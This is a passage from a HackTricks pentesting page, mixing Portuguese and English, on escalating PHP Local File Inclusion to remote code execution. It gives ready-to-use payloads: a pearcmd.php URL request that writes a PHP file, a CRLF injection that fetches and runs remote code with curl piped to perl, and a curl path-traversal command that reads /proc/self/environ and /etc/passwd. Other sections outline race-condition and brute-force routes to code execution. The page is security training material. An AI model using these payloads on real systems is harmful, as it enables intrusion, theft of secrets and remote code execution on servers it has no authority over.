Via pearcmd.php + URL args
As explained in this post, o script /usr/local/lib/phppearcmd.php existe por padrão em php docker images. Além disso, é possível passar argumentos para o script via URL porque é indicado que se um URL param não tiver um =, ele deve ser usado como argumento. Veja também watchTowr’s write-up e Orange Tsai’s “Confusion Attacks”.
A seguinte requisição cria um arquivo em /tmp/hello.php com o conteúdo <?=phpinfo()?>:
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
A seguir abusa de uma vuln CRLF para obter RCE (de here):
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
Via phpinfo() (file_uploads = on)
Se você encontrou uma Local File Inclusion e um arquivo expondo phpinfo() com file_uploads = on, você pode obter RCE:
Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
Se você encontrou uma Local File Inclusion e você can exfiltrate the path do arquivo temporário MAS o server está checking se o file to be included has PHP marks, você pode tentar bypass that check com esta Race Condition:
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
Via eternal waiting + bruteforce
Se você pode abusar do LFI para upload temporary files e fazer o servidor hang a execução PHP, você poderia então brute force filenames during hours para encontrar o arquivo temporário:
To Fatal Error
If you include any of the files /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (You need to include the same one 2 time to throw that error).
Eu não sei quão útil isto é, mas pode ser.
Mesmo que você cause um PHP Fatal Error, os arquivos temporários PHP enviados são deletados.
.png)
Preserve traversal sequences from the client
Alguns clientes HTTP normalizam ou colapsam ../ antes da requisição chegar ao server, quebrando payloads de directory traversal. Use curl --path-as-is para manter o traversal intacto ao abusar de endpoints de log/download que concatenam um filename controlado pelo usuário, e adicione --ignore-content-length para pseudo-files como /proc:
curl --path-as-is -b "session=$SESSION" \
"http://TARGET/admin/get_system_log?log_identifier=../../../../proc/self/environ" \
--ignore-content-length -s | tr '\000' '\n'
Ajuste o número de segmentos ../ até escapar do diretório pretendido, então dump /etc/passwd, /proc/self/cwd/app.py, ou outros arquivos de código/configuração.
Referências
- PayloadsAllTheThings
- PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
- Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)
- Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5
- watchTowr – We need to talk about PHP (pearcmd.php gadget)
- Orange Tsai – Confusion Attacks on Apache
- VTENEXT 25.02 – a three-way path to RCE
- The Art of PHP: CTF‑born exploits and techniques
- When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise
- Positive Technologies – Blind Trust: What Is Hidden Behind the Process of Creating Your PDF File?
- HTB: Imagery (admin log download traversal +
/proc/self/environread) - HTB: Gavel
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


